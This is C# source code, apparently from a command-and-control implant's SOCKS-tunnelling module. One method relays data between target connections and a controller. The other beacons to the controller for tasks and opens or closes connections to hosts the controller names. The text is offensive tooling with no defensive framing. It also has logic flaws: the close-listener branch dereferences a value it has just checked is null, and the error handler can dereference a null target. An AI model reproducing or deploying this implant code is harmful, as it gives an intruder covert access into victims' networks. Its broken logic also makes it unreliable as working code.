public void SendToTarget() { var SendWait = new ManualResetEvent(false); while (!Cancel.IsCancellationRequested) { RecvedData.WaitOne(-1);; RecvedData.Reset(); foreach (var key in Targets.Keys) { TargetInfo trget = null; try { if (Targets.ContainsKey(key)) { trget = Targets[key]; } if (null != trget && !trget.Exit) { List <byte> readPyld = null; var payload = new List <byte>(); while (trget.ReadQueue.Count > 0) { trget.ReadQueue.TryDequeue(out readPyld); payload.AddRange(readPyld); } if (payload.Count > 0) { Task.Factory.StartNew(() => { List <byte> toSend = null; try { toSend = CmdCommshandler.Send(trget, "asyncUpload", payload, out bool connectionDead); ImplantComms.LogMessage($"[{trget.TargetId}] Received {toSend?.Count() ?? 0} bytes after sending {payload?.Count ?? 0 } bytes"); if (null == toSend || connectionDead) { ImplantComms.LogError($"[{trget.TargetId}] Connection looks dead EXITING"); trget.Exit = true; } else if (toSend.Count > 0) { trget.WriteQueue.Enqueue(toSend); SentData.Set(); } } catch { trget.Exit = true; ImplantComms.LogError($"[{trget.TargetId}] Couldn't send {toSend?.Count()} bytes"); } }); ImplantComms.LogMessage($"[{trget.TargetId}] {payload?.Count() ?? 0} bytes arrived from target about to send back"); } } SendWait.WaitOne(BeaconTime); } catch (Exception ex) { if (null != trget) { trget.Exit = true; } ImplantComms.LogError($"[{trget.TargetId}] Error during Send Data loop {ex}"); } } } }
bool CommandLoop(CancellationToken token) { do { if (token.IsCancellationRequested) return true; var request = BuildRequestPayload(); var response = _cmdCommsHandler.Send(CommandChannelSessionId, UTF8Encoding.UTF8.GetBytes(request.ToString()).ToList(), out bool CommandChannelDead); if (null == response || response.Count() == 0 || CommandChannelDead) { if (CommandChannelDead) { _error.LogError($"Command Channel loop is dead. EXITING"); return false; } } else { var xdoc = XDocument.Parse(UTF8Encoding.UTF8.GetString(response.ToArray())); var elms = xdoc.XPathSelectElements("Response/Tasks/Task"); if (elms.Count() > 0) { ImplantComms.LogMessage($"{elms.Count()} tasks recieved"); //We have tasks Queue em up xdoc.XPathSelectElements("Response/Tasks/Task").ToList().ForEach(x => { var nodeCreate = x.XPathSelectElement("CreateListener"); var nodeClose = x.XPathSelectElement("CloseListener"); if (nodeCreate != null) { var host = nodeCreate.Attribute("TargetHost").Value; var strPort = nodeCreate.Attribute("TargetPort").Value; var port = ushort.Parse(strPort); var sessionId = nodeCreate.Attribute("SessionID").Value; ImplantComms.LogMessage($"About to open connection to {host}:{strPort}"); if (_client.OpenNewConnectionToTarget(sessionId, host, port)) QueueListenerStatus(sessionId, "open"); else { ImplantComms.LogError($"FAILED {host}:{strPort}"); QueueListenerStatus(sessionId, "failed"); } } else if (nodeClose == null) { var sessionId = nodeClose.Attribute("SessionID"); if (null != sessionId) { if (!String.IsNullOrWhiteSpace(sessionId.Value)) { _client.Stop(sessionId.Value); QueueListenerStatus(sessionId.Value, "closed"); } else { ImplantComms.LogError($"Close session id message is null"); } } } else return; }); } //Sleep til we need to beacon again //TO DO: Add in Jitter time, not curenntly implemented if (token.IsCancellationRequested) return true; } Timeout.WaitOne(C2Config.CommandBeaconTime); } while (!token.IsCancellationRequested); return true; }